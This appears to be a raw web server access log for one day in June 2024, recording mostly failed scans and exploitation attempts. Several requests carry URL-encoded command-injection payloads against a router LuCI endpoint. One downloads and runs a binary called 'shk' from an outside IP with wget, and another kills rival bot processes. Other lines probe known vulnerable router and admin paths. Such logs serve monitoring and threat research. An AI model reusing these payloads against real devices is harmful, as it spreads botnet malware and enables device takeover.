185.244.36.206 - - [25/Jun/2024:00:12:03 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:01:17:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:01:17:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 185.244.36.206 - - [25/Jun/2024:01:28:22 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:01:55:52 +0200] "GET / HTTP/1.1" 404 952 198.235.24.171 - - [25/Jun/2024:03:07:45 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:03:46:52 +0200] "GET / HTTP/1.1" 404 952 167.94.145.105 - - [25/Jun/2024:04:17:13 +0200] "GET / HTTP/1.1" 404 952 167.94.145.105 - - [25/Jun/2024:04:17:18 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [25/Jun/2024:04:26:07 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 8.216.66.248 - - [25/Jun/2024:04:31:58 +0200] "GET / HTTP/1.1" 404 952 199.45.154.116 - - [25/Jun/2024:04:32:49 +0200] "GET / HTTP/1.1" 404 952 199.45.154.116 - - [25/Jun/2024:04:32:53 +0200] "GET / HTTP/1.1" 404 952 103.221.254.140 - - [25/Jun/2024:04:56:55 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [25/Jun/2024:05:00:24 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 78.108.177.54 - - [25/Jun/2024:05:13:44 +0200] "GET / HTTP/1.0" 404 952 45.128.232.200 - - [25/Jun/2024:05:28:31 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 144.126.238.95 - - [25/Jun/2024:05:29:40 +0200] "GET / HTTP/1.1" 404 952 10.10.10.12 - - [25/Jun/2024:07:19:09 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:07:52:11 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:08:07:40 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:08:07:40 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:08:55:36 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:09:12:30 +0200] "GET / HTTP/1.1" 404 952 115.231.78.12 - - [25/Jun/2024:09:48:45 +0200] "GET / HTTP/1.1" 404 952 167.71.144.152 - - [25/Jun/2024:09:51:17 +0200] "GET / HTTP/1.1" 404 952 167.71.144.152 - - [25/Jun/2024:09:51:19 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:10:40:03 +0200] "GET / HTTP/1.1" 404 952 172.212.61.226 - - [25/Jun/2024:10:45:44 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [25/Jun/2024:11:50:31 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 198.235.24.108 - - [25/Jun/2024:12:02:11 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [25/Jun/2024:12:10:54 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 64.62.197.115 - - [25/Jun/2024:12:15:21 +0200] "GET / HTTP/1.1" 404 952 64.62.197.115 - - [25/Jun/2024:12:15:42 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.197.115 - - [25/Jun/2024:12:15:55 +0200] "GET /?format=json HTTP/1.1" 404 952 83.97.73.245 - - [25/Jun/2024:12:31:09 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:12:41:54 +0200] "GET / HTTP/1.1" 404 952 64.23.145.168 - - [25/Jun/2024:13:04:55 +0200] "GET / HTTP/1.1" 404 952 64.23.145.168 - - [25/Jun/2024:13:04:55 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 45.128.232.200 - - [25/Jun/2024:13:16:11 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 61.3.25.151 - - [25/Jun/2024:13:34:22 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:13:37:56 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:13:37:56 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:13:39:17 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [25/Jun/2024:14:08:48 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:15:16:06 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [25/Jun/2024:15:29:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [25/Jun/2024:15:29:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 185.191.126.213 - - [25/Jun/2024:16:07:33 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:16:26:04 +0200] "GET / HTTP/1.1" 404 952 80.82.78.39 - - [25/Jun/2024:17:41:01 +0200] "GET / HTTP/1.1" 404 952 201.76.102.118 - - [25/Jun/2024:17:46:26 +0200] "GET / HTTP/1.1" 404 952 40.118.214.20 - - [25/Jun/2024:17:49:31 +0200] "GET /manager/text/list HTTP/1.1" 404 1006 141.98.83.197 - - [25/Jun/2024:17:53:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:17:53:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:18:32:30 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:19:25:18 +0200] "GET / HTTP/1.1" 404 952 104.168.70.165 - - [25/Jun/2024:19:31:53 +0200] "GET / HTTP/1.1" 404 952 93.56.19.229 - - [25/Jun/2024:19:49:52 +0200] "GET / HTTP/1.0" 404 952 200.81.185.179 - - [25/Jun/2024:19:52:00 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 200.81.185.179 - - [25/Jun/2024:19:52:00 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 200.81.185.179 - - [25/Jun/2024:20:06:24 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 175.107.0.250 - - [25/Jun/2024:20:15:48 +0200] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:20:26:02 +0200] "GET / HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:21:37:48 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:21:49:45 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [25/Jun/2024:21:49:45 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.148.10.174 - - [25/Jun/2024:22:05:29 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [25/Jun/2024:22:05:29 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 4.156.21.79 - - [25/Jun/2024:22:40:00 +0200] "GET /manager/html HTTP/1.1" 401 1833 164.92.194.127 - - [25/Jun/2024:22:47:07 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952 167.71.237.57 - - [25/Jun/2024:22:57:04 +0200] "GET / HTTP/1.1" 404 952 167.71.237.57 - - [25/Jun/2024:22:57:04 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 149.50.103.48 - - [25/Jun/2024:23:31:21 +0200] "GET / HTTP/1.1" 404 952 147.185.132.165 - - [25/Jun/2024:23:50:26 +0200] "GET / HTTP/1.1" 404 952